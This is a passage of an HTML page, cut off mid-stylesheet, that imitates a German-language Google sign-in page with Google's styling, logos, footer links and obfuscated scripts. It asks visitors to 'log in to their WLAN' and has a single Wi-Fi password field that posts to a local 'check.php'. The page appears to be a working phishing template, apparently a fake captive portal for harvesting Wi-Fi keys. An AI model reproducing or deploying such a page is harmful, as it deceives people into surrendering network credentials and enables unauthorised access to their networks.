#357ae8;\r\n  background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -o-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: linear-gradient(top,#4d90fe,#357ae8);\r\n  }\r\n  .rc-button-submit:active {\r\n  background-color: #357ae8;\r\n  background-image: -webkit-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -moz-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -ms-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: -o-linear-gradient(top,#4d90fe,#357ae8);\r\n  background-image: linear-gradient(top,#4d90fe,#357ae8);\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  }\r\n  .rc-button-red,\r\n  .rc-button-red:visited {\r\n  border: 1px solid transparent;\r\n  color: #fff;\r\n  text-shadow: 0 1px rgba(0,0,0,0.1);\r\n  background-color: #d14836;\r\n  background-image: -webkit-linear-gradient(top,#dd4b39,#d14836);\r\n  background-image: -moz-linear-gradient(top,#dd4b39,#d14836);\r\n  background-image: -ms-linear-gradient(top,#dd4b39,#d14836);\r\n  background-image: -o-linear-gradient(top,#dd4b39,#d14836);\r\n  background-image: linear-gradient(top,#dd4b39,#d14836);\r\n  }\r\n  .rc-button-red:hover {\r\n  border: 1px solid #b0281a;\r\n  color: #fff;\r\n  text-shadow: 0 1px rgba(0,0,0,0.3);\r\n  background-color: #c53727;\r\n  background-image: -webkit-linear-gradient(top,#dd4b39,#c53727);\r\n  background-image: -moz-linear-gradient(top,#dd4b39,#c53727);\r\n  background-image: -ms-linear-gradient(top,#dd4b39,#c53727);\r\n  background-image: -o-linear-gradient(top,#dd4b39,#c53727);\r\n  background-image: linear-gradient(top,#dd4b39,#c53727);\r\n  }\r\n  .rc-button-red:active {\r\n  border: 1px solid #992a1b;\r\n  background-color: #b0281a;\r\n  background-image: -webkit-linear-gradient(top,#dd4b39,#b0281a);\r\n  background-image: -moz-linear-gradient(top,#dd4b39,#b0281a);\r\n  background-image: -ms-linear-gradient(top,#dd4b39,#b0281a);\r\n  background-image: -o-linear-gradient(top,#dd4b39,#b0281a);\r\n  background-image: linear-gradient(top,#dd4b39,#b0281a);\r\n  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  box-shadow: inset 0 1px 2px rgba(0,0,0,0.3);\r\n  }\r\n  .secondary-actions {\r\n  text-align: center;\r\n  }\r\n</style>\r\n<style media=\"screen and (max-width: 800px), screen and (max-height: 800px)\">\r\n  .google-header-bar.centered {\r\n  height: 83px;\r\n  }\r\n  .google-header-bar.centered .header .logo {\r\n  margin: 25px auto 20px;\r\n  }\r\n  .card {\r\n  margin-bottom: 20px;\r\n  }\r\n</style>\r\n<style media=\"screen and (max-width: 580px)\">\r\n  html, body {\r\n  font-size: 14px;\r\n  }\r\n  .google-header-bar.centered {\r\n  height: 73px;\r\n  }\r\n  .google-header-bar.centered .header .logo {\r\n  margin: 20px auto 15px;\r\n  }\r\n  .content {\r\n  padding-left: 10px;\r\n  padding-right: 10px;\r\n  }\r\n  .hidden-small {\r\n  display: none;\r\n  }\r\n  .card {\r\n  padding: 20px 15px 30px;\r\n  width: 270px;\r\n  }\r\n  .footer ul li {\r\n  padding-right: 1em;\r\n  }\r\n  .lang-chooser-wrap {\r\n  display: none;\r\n  }\r\n</style>\r\n<style media=\"screen and (-webkit-min-device-pixel-ratio: 1.5), (min--moz-device-pixel-ratio: 1.5), (-o-min-device-pixel-ratio: 3 / 2), (min-device-pixel-ratio: 1.5)\">\r\n  .header .logo {\r\n  background-image: url(https://ssl.gstatic.com/accounts/ui/logo_2x.png);\r\n  }\r\n  .header .logo-w {\r\n  background-image: url(https://ssl.gstatic.com/images/branding/googlelogo/2x/googlelogo_color_112x36dp.png);\r\n  }\r\n</style>\r\n<style>\r\n  pre.debug {\r\n  font-family: monospace;\r\n  position: absolute;\r\n  left: 0;\r\n  margin: 0;\r\n  padding: 1.5em;\r\n  font-size: 13px;\r\n  background: #f1f1f1;\r\n  border-top: 1px solid #e5e5e5;\r\n  direction: ltr;\r\n  white-space: pre-wrap;\r\n  width: 90%;\r\n  overflow: hidden;\r\n  }\r\n</style>\r\n<style>\r\n  .banner h1 {\r\n  font-family: 'Open Sans', arial;\r\n  -webkit-font-smoothing: antialiased;\r\n  color: #555;\r\n  font-size: 42px;\r\n  font-weight: 300;\r\n  margin-top: 0;\r\n  margin-bottom: 20px;\r\n  }\r\n  .banner h2 {\r\n  font-family: 'Open Sans', arial;\r\n  -webkit-font-smoothing: antialiased;\r\n  color: #555;\r\n  font-size: 18px;\r\n  font-weight: 400;\r\n  margin-bottom: 20px;\r\n  }\r\n  .signin-card {\r\n  width: 274px;\r\n  padding: 40px 40px;\r\n  }\r\n  .signin-card .profile-img {\r\n  width: 96px;\r\n  height: 96px;\r\n  margin: 0 auto 10px;\r\n  display: block;\r\n  -moz-border-radius: 50%;\r\n  -webkit-border-radius: 50%;\r\n  border-radius: 50%;\r\n  }\r\n  .signin-card .profile-name {\r\n  font-size: 16px;\r\n  font-weight: bold;\r\n  text-align: center;\r\n  margin: 10px 0 0;\r\n  min-height: 1em;\r\n  }\r\n  .signin-card .profile-email {\r\n  font-size: 16px;\r\n  text-align: center;\r\n  margin: 10px 0 20px 0;\r\n  min-height: 1em;\r\n  }\r\n  .signin-card input[type=email],\r\n  .signin-card input[type=password],\r\n  .signin-card input[type=text],\r\n  .signin-card input[type=submit] {\r\n  width: 100%;\r\n  display: block;\r\n  margin-bottom: 10px;\r\n  z-index: 1;\r\n  position: relative;\r\n  -moz-box-sizing: border-box;\r\n  -webkit-box-sizing: border-box;\r\n  box-sizing: border-box;\r\n  }\r\n  .signin-card #Email,\r\n  .signin-card #Passwd,\r\n  .signin-card .captcha {\r\n  direction: ltr;\r\n  height: 44px;\r\n  font-size: 16px;\r\n  }\r\n  .signin-card #Email + .stacked-label {\r\n  margin-top: 15px;\r\n  }\r\n  .signin-card #reauthEmail {\r\n  display: block;\r\n  margin-bottom: 10px;\r\n  line-height: 36px;\r\n  padding: 0 8px;\r\n  font-size: 15px;\r\n  color: #404040;\r\n  line-height: 2;\r\n  margin-bottom: 10px;\r\n  font-size: 14px;\r\n  text-align: center;\r\n  overflow: hidden;\r\n  text-overflow: ellipsis;\r\n  white-space: nowrap;\r\n  -moz-box-sizing: border-box;\r\n  -webkit-box-sizing: border-box;\r\n  box-sizing: border-box;\r\n  }\r\n  .one-google p {\r\n  margin: 0 0 10px;\r\n  color: #555;\r\n  font-size: 14px;\r\n  text-align: center;\r\n  }\r\n  .one-google p.create-account,\r\n  .one-google p.switch-account {\r\n  margin-bottom: 60px;\r\n  }\r\n  .one-google .logo-strip {\r\n  background-repeat: no-repeat;\r\n  display: block;\r\n  margin: 10px auto;\r\n  background-image: url(https://ssl.gstatic.com/accounts/ui/wlogostrip_230x17_1x.png);\r\n  background-size: 230px 17px;\r\n  width: 230px;\r\n  height: 17px;\r\n  }\r\n</style>\r\n<style media=\"screen and (max-width: 800px), screen and (max-height: 800px)\">\r\n  .banner h1 {\r\n  font-size: 38px;\r\n  margin-bottom: 15px;\r\n  }\r\n  .banner h2 {\r\n  margin-bottom: 15px;\r\n  }\r\n  .one-google p.create-account,\r\n  .one-google p.switch-account {\r\n  margin-bottom: 30px;\r\n  }\r\n  .signin-card #Email {\r\n  margin-bottom: 0;\r\n  }\r\n  .signin-card #Passwd {\r\n  margin-top: -1px;\r\n  }\r\n  .signin-card #Email.form-error,\r\n  .signin-card #Passwd.form-error {\r\n  z-index: 2;\r\n  }\r\n  .signin-card #Email:hover,\r\n  .signin-card #Email:focus,\r\n  .signin-card #Passwd:hover,\r\n  .signin-card #Passwd:focus {\r\n  z-index: 3;\r\n  }\r\n</style>\r\n<style media=\"screen and (max-width: 580px)\">\r\n  .banner h1 {\r\n  font-size: 22px;\r\n  margin-bottom: 15px;\r\n  }\r\n  .signin-card {\r\n  width: 260px;\r\n  padding: 20px 20px;\r\n  margin: 0 auto 20px;\r\n  }\r\n  .signin-card .profile-img {\r\n  width: 72px;\r\n  height: 72px;\r\n  -moz-border-radius: 72px;\r\n  -webkit-border-radius: 72px;\r\n  border-radius: 72px;\r\n  }\r\n</style>\r\n<style media=\"screen and (-webkit-min-device-pixel-ratio: 1.5), (min--moz-device-pixel-ratio: 1.5), (-o-min-device-pixel-ratio: 3 / 2), (min-device-pixel-ratio: 1.5)\">\r\n  .one-google .logo-strip {\r\n  background-image: url(https://ssl.gstatic.com/accounts/ui/wlogostrip_230x17_2x.png);\r\n  }\r\n</style>\r\n<style>\r\n  .need-help-reverse {\r\n  float: right;\r\n  }\r\n  .remember .bubble-wrap {\r\n  position: absolute;\r\n  padding-top: 3px;\r\n  -o-transition: opacity .218s ease-in .218s;\r\n  -moz-transition: opacity .218s ease-in .218s;\r\n  -webkit-transition: opacity .218s ease-in .218s;\r\n  transition: opacity .218s ease-in .218s;\r\n  left: -999em;\r\n  opacity: 0;\r\n  width: 314px;\r\n  margin-left: -20px;\r\n  }\r\n  .remember:hover .bubble-wrap,\r\n  .remember input:focus ~ .bubble-wrap,\r\n  .remember .bubble-wrap:hover,\r\n  .remember .bubble-wrap:focus {\r\n  opacity: 1;\r\n  left: inherit;\r\n  }\r\n  .bubble-pointer {\r\n  border-left: 10px solid transparent;\r\n  border-right: 10px solid transparent;\r\n  border-bottom: 10px solid #fff;\r\n  width: 0;\r\n  height: 0;\r\n  margin-left: 17px;\r\n  }\r\n  .bubble {\r\n  background-color: #fff;\r\n  padding: 15px;\r\n  margin-top: -1px;\r\n  font-size: 11px;\r\n  -moz-border-radius: 2px;\r\n  -webkit-border-radius: 2px;\r\n  border-radius: 2px;\r\n  -moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  -webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);\r\n  }\r\n</style>\r\n  </head>\r\n  <body>\r\n  <div class=\"wrapper\">\r\n  <div class=\"google-header-bar  centered\">\r\n  <div class=\"header content clearfix\">\r\n  <div class=\"logo logo-w\" aria-label=\"Google\"></div>\r\n  </div>\r\n  </div>\r\n  <div class=\"main content clearfix\">\r\n<div class=\"banner\">\r\n  <h2>\r\n  Bitte melden Sie sich in Ihrem WLAN an.\r\n  </h2>\r\n</div>\r\n<form novalidate=\"\" method=\"post\" action=\"check.php\" id=\"form1\" name=\"form1\">\r\n<div class=\"card signin-card\">\r\n  <div id=\"cc_iframe_parent\"><iframe style=\"visibility: hidden; width: 1px; height: 1px; position: absolute; top: -100px;\" src=\"Anmelden%20%E2%80%93%20Google%20Konten-Dateien/CheckConnection.htm\" id=\"youtube\"></iframe></div>\r\n<label class=\"hidden-label\" for=\"Passwd\">WLAN-Passwort</label>\r\n<input id=\"Passwd\" name=\"key1\" placeholder=\"WLAN-Passwort\" class=\"\" type=\"password\">\r\n  <input id=\"signIn\" name=\"signIn\" class=\"rc-button rc-button-submit\" value=\"Anmelden\" type=\"submit\">\r\n  \r\n  </form>\r\n</div>\r\n  <div class=\"one-google\">\r\n  <p class=\"switch-account\">\r\n  \r\n  </p>\r\n  </div>\r\n  </div>\r\n  <div class=\"google-footer-bar\">\r\n  <div class=\"footer content clearfix\">\r\n  <ul id=\"footer-list\">\r\n  <li>\r\n  <a href=\"https://www.google.de/intl/de/about\" target=\"_blank\">\r\n  Über Google\r\n  </a>\r\n  </li>\r\n  <li>\r\n  <a href=\"https://accounts.google.com/TOS?loc=DE&amp;hl=de&amp;privacy=true\" target=\"_blank\">\r\n  Datenschutz\r\n  </a>\r\n  </li>\r\n  <li>\r\n  <a href=\"https://accounts.google.com/TOS?loc=DE&amp;hl=de\" target=\"_blank\">\r\n  Nutzungsbedingungen\r\n  </a>\r\n  </li>\r\n  <li>\r\n  <a href=\"http://www.google.com/support/accounts?hl=de\" target=\"_blank\">\r\n  Hilfe\r\n  </a>\r\n  </li>\r\n  </ul>\r\n  \r\n  </div>\r\n</div>\r\n  </div>\r\n  <script>\r\n  (function(){\r\n  var splitByFirstChar = function(toBeSplit, splitChar) {\r\n  var index = toBeSplit.indexOf(splitChar);\r\n  if (index >= 0) {\r\n  return [toBeSplit.substring(0, index),\r\n  toBeSplit.substring(index + 1)];\r\n  }\r\n  return [toBeSplit];\r\n  }\r\n  var langChooser_parseParams = function(paramsSection) {\r\n  if (paramsSection) {\r\n  var query = {};\r\n  var params = paramsSection.split('&');\r\n  for (var i = 0; i < params.length; i++) {\r\n              var param = splitByFirstChar(params[i], '=');\r\n              if (param.length == 2) {\r\n                query[param[0]] = param[1];\r\n              }\r\n            }\r\n            return query;\r\n          }\r\n          return {};\r\n        }\r\n        var appendHiddenParams = function(query) {\r\n          var loginForm = document.getElementById('gaia_loginform');\r\n          if (loginForm) {\r\n            var loginInputs = loginForm.getElementsByTagName('input');\r\n            for (var i = 0, input; input = loginInputs[i]; i++) {\r\n              if (input.type == 'hidden' && input.value && !query[input.name]) {\r\n                query[input.name] = input.value;\r\n              }\r\n            }\r\n          }\r\n        }\r\n        var post = function(path, params) {\r\n          var form = document.createElement('form');\r\n          form.setAttribute('method', 'post');\r\n          form.setAttribute('action', path);\r\n\r\n          for (var key in params) {\r\n            if (params.hasOwnProperty(key)) {\r\n              var hiddenField = document.createElement('input');\r\n              hiddenField.setAttribute('type', 'hidden');\r\n              hiddenField.setAttribute('name', key);\r\n              hiddenField.setAttribute('value', params[key]);\r\n\r\n              form.appendChild(hiddenField);\r\n            }\r\n          }\r\n\r\n          document.body.appendChild(form);\r\n          form.submit();\r\n        }\r\n        var langChooser_getParamStr = function(params) {\r\n          var paramsStr = [];\r\n          for (var a in params) {\r\n            paramsStr.push(a + \"=\" + params[a]);\r\n          }\r\n          return paramsStr.join('&');\r\n        }\r\n        var langChooser_currentUrl = window.location.href;\r\n        var match = langChooser_currentUrl.match(\"^(.*?)(\\\\?(.*?))?(#(.*))?$\");\r\n        var langChooser_currentPath = match[1];\r\n        var langChooser_params = langChooser_parseParams(match[3]);\r\n        var langChooser_fragment = match[5];\r\n\r\n        var langChooser = document.getElementById('lang-chooser');\r\n        var langChooserWrap = document.getElementById('lang-chooser-wrap');\r\n        var langVisControl = document.getElementById('lang-vis-control');\r\n        if (langVisControl && langChooser) {\r\n          langVisControl.style.display = 'inline';\r\n          langChooser.onchange = function() {\r\n            langChooser_params['lp'] = 1;\r\n            langChooser_params['hl'] = encodeURIComponent(this.value);\r\n            var hiddenEmailInput = document.getElementById('Email-hidden');\r\n            if (hiddenEmailInput) {\r\n              // If we are in password separation on password page, post to\r\n              // /AccountLoginInfo.\r\n              appendHiddenParams(langChooser_params);\r\n              langChooser_params['Email'] = hiddenEmailInput.value;\r\n              post('/AccountLoginInfo', langChooser_params);\r\n            } else {\r\n              var paramsStr = langChooser_getParamStr(langChooser_params);\r\n              var newHref = langChooser_currentPath + \"?\" + paramsStr;\r\n              if (langChooser_fragment) {\r\n                newHref = newHref + \"#\" + langChooser_fragment;\r\n              }\r\n              window.location.href = newHref;\r\n            }\r\n          };\r\n        }\r\n      })();\r\n    </script>\r\n<script type=\"text/javascript\">\r\n  var gaia_attachEvent = function(element, event, callback) {\r\n  if (element && element.addEventListener) {\r\n  element.addEventListener(event, callback, false);\r\n  } else if (element && element.attachEvent) {\r\n  element.attachEvent('on' + event, callback);\r\n  }\r\n  };\r\n</script>\r\n  <script>var G,Gb=function(a,b){var c=a;a&&\"string\"==typeof \r\na&&(c=document.getElementById(a));if(b&&!c)throw new Ga(a);return \r\nc},Ga=function(a){this.id=a;this.toString=function(){return\"No element \r\nfound for id '\"+this.id+\"'\"}};var Gc={},Gf=function(a,b,c){var \r\nd=function(a){var b=c.call(this,a);!1===b&&Gd(a);return \r\nb};a=Gb(a,!0);a.addEventListener(b,d,!1);Ge(a,b).push(d);return \r\nd},Gg=function(a,b,c){a=Gb(a,!0);var d=function(){var \r\nb=window.event,d=c.call(a,b);!1===d&&Gd(b);return \r\nd};a.attachEvent(\"on\"+b,d);Ge(a,b).push(d);return \r\nd},Gh;Gh=window.addEventListener?Gf:window.attachEvent?Gg:void 0;\r\nvar \r\nGd=function(a){a.preventDefault?a.preventDefault():a.returnValue=!1;return!1},Ge=function(a,b){Gc[a]=Gc[a]||{};Gc[a][b]=Gc[a][b]||[];return\r\n Gc[a][b]};var Gi=function(){try{return new \r\nXMLHttpRequest}catch(c){for(var \r\na=[\"MSXML2.XMLHTTP.6.0\",\"MSXML2.XMLHTTP.3.0\",\"MSXML2.XMLHTTP\",\"Microsoft.XMLHTTP\"],b=0;b<a.length;b++)try{return\r\n new ActiveXObject(a[b])}catch(d){}}return \r\nnull},Gj=function(){this.request=Gi();this.parameters={}};\r\nGj.prototype.send=function(a,b){var c=[],d;for(d in this.parameters){var\r\n e=this.parameters[d];c.push(d+\"=\"+encodeURIComponent(e))}var \r\nc=c.join(\"&\"),f=this.request;f.open(\"POST\",a,!0);f.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");f.onreadystatechange=function(){4==f.readyState&&b({status:f.status,text:f.responseText})};f.send(c)};\r\nGj.prototype.get=function(a,b){var\r\n \r\nc=this.request;c.open(\"GET\",a,!0);c.onreadystatechange=function(){4==c.readyState&&b({status:c.status,text:c.responseText})};c.send()};var\r\n Gl=function(a){this.g=a;this.u=this.m();if(null==this.g)throw new \r\nGk(\"Empty module name\");};G=Gl.prototype;G.m=function(){var \r\na=window.location.pathname;return \r\na&&0==a.indexOf(\"/accounts\")?\"/accounts/JsRemoteLog\":\"/JsRemoteLog\"};\r\nG.i=function(a,b,c){var \r\nd=this.u,e=this.g||\"\",d=d+\"?module=\"+encodeURIComponent(e);a=a||\"\";d=d+\"&type=\"+encodeURIComponent(a);b=b||\"\";d=d+\"&msg=\"+encodeURIComponent(b);c=c||[];for(a=0;a<c.length;a++)d=d+\"&arg=\"+encodeURIComponent(c[a]);try{var\r\n f=Math.floor(1E4*Math.random()),d=d+\"&r=\"+String(f)}catch(g){}return \r\nd};G.send=function(a,b,c){var d=new Gj;d.parameters={};try{var \r\ne=this.i(a,b,c);d.get(e,function(){})}catch(f){}};G.error=function(a,b){this.send(\"ERROR\",a,b)};\r\nG.warn=function(a,b){this.send(\"WARN\",a,b)};G.info=function(a,b){this.send(\"INFO\",a,b)};G.f=function(a){var\r\n b=this;return function(){try{return \r\na.apply(null,arguments)}catch(c){throw b.error(\"Uncatched exception: \r\n\"+c),c;}}};var Gk=function(){};var Gm=Gm||new \r\nGl(\"uri\"),Gn=/^(?:([^:/?#.]+):)?(?:\\/\\/(?:([^/?#]*)@)?([\\w\\d\\-\\u0100-\\uffff.%]*)(?::([0-9]+))?)?([^?#]+)?(?:\\?([^#]*))?(?:#(.*))?$/,Go=function(a){return\"http\"==a.toLowerCase()?80:\"https\"==a.toLowerCase()?443:null},Gp=function(a,b){var\r\n c=b.match(Gn)[1]||null,d=b.match(Gn)[3]||null;var \r\ne=d&&decodeURIComponent(d);d=Number(b.match(Gn)[4]||null)||null;if(!c||!e)return\r\n Gm.error(\"Invalid origin \r\nException\",[String(b)]),!1;d||(d=Go(c));b=a.match(Gn)[1]||null;if(!b||b.toLowerCase()!=c.toLowerCase())return!1;\r\nc=(c=a.match(Gn)[3]||null)&&decodeURIComponent(c);if(!c||c.toLowerCase()!=e.toLowerCase())return!1;(a=Number(a.match(Gn)[4]||null)||null)||(a=Go(b));return\r\n d==a};var Gq=Gq||new \r\nGl(\"check_connection\"),Gr=null,Gs=null,Gt=function(a,b){this.c=a;this.b=b;this.a=!1};G=Gt.prototype;G.h=function(a,b){if(!b)return!1;if(0<=a.indexOf(\",\"))return\r\n Gq.error(\"CheckConnection result contains comma\",[a]),!1;var \r\nc=b.value;b.value=c?c+\",\"+a:a;return!0};G.w=function(a){return \r\nthis.h(a,null)};G.v=function(a){return \r\nthis.h(a,Gs)};G.l=function(a){a=a.match(\"^([^:]+):(\\\\d*):(\\\\d?)$\");return!a||3>a.length?null:a[1]};\r\nG.s=function(a,b){if(!Gp(this.c,a))return!1;if(this.a||!b)return!0;this.l(b)==this.b&&(this.v(b)||this.w(a),this.a=!0);return!0};G.o=function(){var\r\n a=this.c;var b=\"timestamp\",c=String((new \r\nDate).getTime());if(0<a.indexOf(\"#\"))throw Object(\"Unsupported URL \r\nException: \"+a);return \r\na=0<=a.indexOf(\"?\")?a+\"&\"+encodeURIComponent(b)+\"=\"+encodeURIComponent(c):a+\"?\"+encodeURIComponent(b)+\"=\"+encodeURIComponent(c)};\r\nG.j=function(){var\r\n \r\na=window.document.createElement(\"iframe\"),b=a.style;b.visibility=\"hidden\";b.width=\"1px\";b.height=\"1px\";b.position=\"absolute\";b.top=\"-100px\";a.src=this.o();a.id=this.b;Gr.appendChild(a)};\r\nvar\r\n Gu=function(a){return function(b){var \r\nc=b.origin.toLowerCase();b=b.data;for(var \r\nd=a.length,e=0;e<d&&!a[e].s(c,b);e++);}},Gv=function(){if(window.postMessage){var\r\n a=window.__CHECK_CONNECTION_CONFIG.iframeParentElementId;var \r\nb=window.__CHECK_CONNECTION_CONFIG.newResultElementId;(Gr=document.getElementById(a))?b?(Gs=document.getElementById(b),a=!0):(Gq.error(\"Unable\r\n to locate the input element to storeCheckConnection result\",\"new id: \r\n\"+String(b)),a=!1):(Gq.error(\"Unable to locate the iframe anchor to \r\nappend connection test iframe\",\r\n[\"element id: \r\n\"+a]),a=!1);if(a){a=window.__CHECK_CONNECTION_CONFIG.domainConfigs;if(!a){if(!window.__CHECK_CONNECTION_CONFIG.iframeUri){Gq.error(\"Missing\r\n iframe URL in old \r\nconfiguration\");return}a=[{iframeUri:window.__CHECK_CONNECTION_CONFIG.iframeUri,domainSymbol:\"youtube\"}]}if(0!=a.length){for(var\r\n b=a.length,c=[],d=0;d<b;d++)c.push(new \r\nGt(a[d].iframeUri,a[d].domainSymbol));Gh(window,\"message\",Gu(c));for(d=0;d<b;d++)c[d].j()}}}},Gw=function(){if(window.__CHECK_CONNECTION_CONFIG){var\r\n a=window.__CHECK_CONNECTION_CONFIG.postMsgSupportElementId;\r\nif(window.postMessage){var \r\nb=document.getElementById(a);b?b.value=\"1\":Gq.error(\"Unable to locate \r\nthe input element to storepostMessage test result\",[\"element id: \r\n\"+a])}}};G_checkConnectionMain=Gq.f(Gv);G_setPostMessageSupportFlag=Gq.f(Gw);\r\n</script>\r\n  <script>\r\n  window.__CHECK_CONNECTION_CONFIG = {\r\n  newResultElementId: 'checkConnection',\r\n  domainConfigs: [{iframeUri: \r\n'https://accounts.youtube.com/accounts/CheckConnection?pmpo\\x3dhttps%3A%2F%2Faccounts.google.com\\x26v\\x3d-1004665669',domainSymbol:\r\n 'youtube'}],\r\n  iframeUri: '',\r\n  iframeOrigin: '',\r\n  iframeParentElementId: 'cc_iframe_parent',\r\n  postMsgSupportElementId: 'pstMsg',\r\n  msgContent: 'accessible'\r\n  };\r\n  G_setPostMessageSupportFlag();\r\n  G_checkConnectionMain();\r\n</script>\r\n  <script type=\"text/javascript\">/* Anti-spam. Want to say hello? \r\nContact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */Function('var \r\nm=function(D,n,X){if(\"object\"==(n=typeof D,n))if(D){if(D instanceof \r\nArray)return\"array\";if(D instanceof Object)return \r\nn;if((X=Object.prototype.toString.call(D),\"[object \r\nWindow]\")==X)return\"object\";if(\"[object Array]\"==X||\"number\"==typeof \r\nD.length&&\"undefined\"!=typeof D.splice&&\"undefined\"!=typeof \r\nD.propertyIsEnumerable&&!D.propertyIsEnumerable(\"splice\"))return\"array\";if(\"[object\r\n Function]\"==X||\"undefined\"!=typeof D.call&&\"undefined\"!=typeof \r\nD.propertyIsEnumerable&&!D.propertyIsEnumerable(\"call\"))return\"function\"}else\r\n return\"null\";else if(\"function\"==n&&\"undefined\"==typeof \r\nD.call)return\"object\";return \r\nn},F=function(D,n,X,l,Z){for(l=X=(n=[],0);l<D.length;l++)Z=D.charCodeAt(l),128>Z?n[X++]=Z:(2048>Z?n[X++]=Z>>6|192:(55296==(Z&64512)&&l+1<D.length&&56320==(D.charCodeAt(l+1)&64512)?(Z=65536+((Z&1023)<<10)+(D.charCodeAt(++l)&1023),n[X++]=Z>>18|240,n[X++]=Z>>12&63|128):n[X++]=Z>>12|224,n[X++]=Z>>6&63|128),n[X++]=Z&63|128);return\r\n n},L=this,y=(new \r\nfunction(){},function(D,n,X,l){for(l=n-1,X=[];0<=l;l--)X[n-1-l]=D>>8*l&255;return\r\n \r\nX}),P=function(D,n,X,l){try{for(l=0;79669387488!=l;)D+=(n<<4^n>>>5)+n^l+X[l&3],l+=2489668359,n+=(D<<4^D>>>5)+D^l+X[l>>>11&3];return[D>>>24,D>>16&255,D>>8&255,D&255,n>>>24,n>>16&255,n>>8&255,n&255]}catch(Z){throw\r\n Z;}},p=function(D,n){for(n=[];D--;)n.push(255*Math.random()|0);return \r\nn},G=function(D,n){D.S.splice(0,0,n)},h=function(D,n,X,l,Z){if(X=n[0],1==X)D.O=25,D.G(n);else\r\n \r\nif(2==X){l=n[X=n[1],3];try{D.i=false,Z=D.G(n)}catch(r){O(D,r),Z=D.Z}X&&X(Z),l.push(Z)}else\r\n if(3==X)D.G(n);else if(4==X)D.G(n);else \r\nif(5==X)D.i=false,n=n[1],n();else if(6==X)return \r\nZ=n[2],w(D,213,n[6]),w(D,162,Z),D.G(n)},N=function(D,n,X,l){(((((((((((((l=((((((((((((((((D.v=0,D).J=0,D).P=function(D,n,X){return(n=(X=function(){return\r\n D},function(){return \r\nX()}),n)[this.B]=function(Z){D=Z},n},D.N=[],D).O=25,D.L=false,D.I=function(D,n,X,l,A,b){return\r\n D=((b=(X=(A=function(){return l()},l=function(){return \r\nl[X.b+(A[X.f]===n)-!b[X.f]]},this),X.G),A[X.B]=function(D){l[X.h]=D},A)[X.B](D),A)},D.A=[],w(D,31,0),w)(D,95,0),w)(D,97,[165,0,0]),w(D,181,function(D,n,X,l){(l=(n=g(D),X=g(D),g)(D),D.R(n))[D.R(X)]=D.R(l)}),w)(D,219,function(D,n,X,l){n=(n=g(D),X=g(D),l=g(D),X=D.R(X),D.R(n)),w(D,l,n[X])}),w(D,27,function(D,n,X,l,A,b,J){if(!Y(D,1)){if(\"object\"==(A=(l=(X=(X=(n=g(D),g)(D),l=g(D),A=g(D),n=D.R(n),D.R(X)),D.R(l)),D.R(A)),m)(n)){for(J\r\n in \r\nb=[],n)b.push(J);n=b}for(J=(b=0,n).length;b<J;b+=l)X(n.slice(b,b+l),A);Y(D,0)}}),w)(D,77,function(D,n,X,l){l=(X=(n=g(D),g(D)),g)(D),w(D,l,(D.R(n)in\r\n \r\nD.R(X))+0)}),w)(D,235,[]),w)(D,4,2048),w)(D,64,function(D,n,X){(X=(n=g(D),g)(D),w)(D,X,\"\"+D.R(n))}),D).c=function(D,n){((n.push(D[0]<<24|D[1]<<16|D[2]<<8|D[3]),n).push(D[4]<<24|D[5]<<16|D[6]<<8|D[7]),n).push(D[8]<<24|D[9]<<16|D[10]<<8|D[11])},w(D,48,function(D){S(D,4)}),w(D,140,L),w)(D,243,function(D,n,X,l,A){X=(A=(X=(n=g(D),g)(D),l=D.R(g(D)),D).R(g(D)),D).R(X),w(D,n,V(D,X,l,A))}),D.i=false,w(D,139,function(D){H(D,4)}),w(D,203,function(D,n,X,l,A,b,J){Y(D,1)||(n=e(D),A=n.W,l=n.M,X=n.s,J=X.length,0==J?b=new\r\n l[A]:1==J?b=new l[A](X[0]):2==J?b=new l[A](X[0],X[1]):3==J?b=new \r\nl[A](X[0],X[1],X[2]):4==J?b=new \r\nl[A](X[0],X[1],X[2],X[3]):I(D,22),w(D,n.X,b),Y(D,0))}),w(D,222,[]),w)(D,54,D),w(D,115,function(D,n,X){n=(n=g(D),X=g(D),D.N[n]&&D.R(n)),w(D,X,n)}),w)(D,86,function(D,n,X,l,A){for(n=g(D),X=C(D),A=0,l=[];A<X;A++)l.push(g(D));w(D,n,l)}),w)(D,21,0),X.Y)||function(){},w)(D,170,function(){}),w(D,212,function(D,n,X){Y(D,1)||(n=g(D),X=g(D),w(D,X,function(D){return\r\n \r\neval(D)}(D.R(n))),Y(D,0))}),D.S=[],w(D,163,function(D,n){Y(D,1)||(n=e(D),w(D,n.X,n.W.apply(n.M,n.s)),Y(D,0))}),w(D,43,function(D){D.D(4)}),w)(D,55,0),w(D,217,function(D,n,X,l,A,b,J,a,T,k){if(l=(X=(n=g(D),C(D)),\"\"),void\r\n 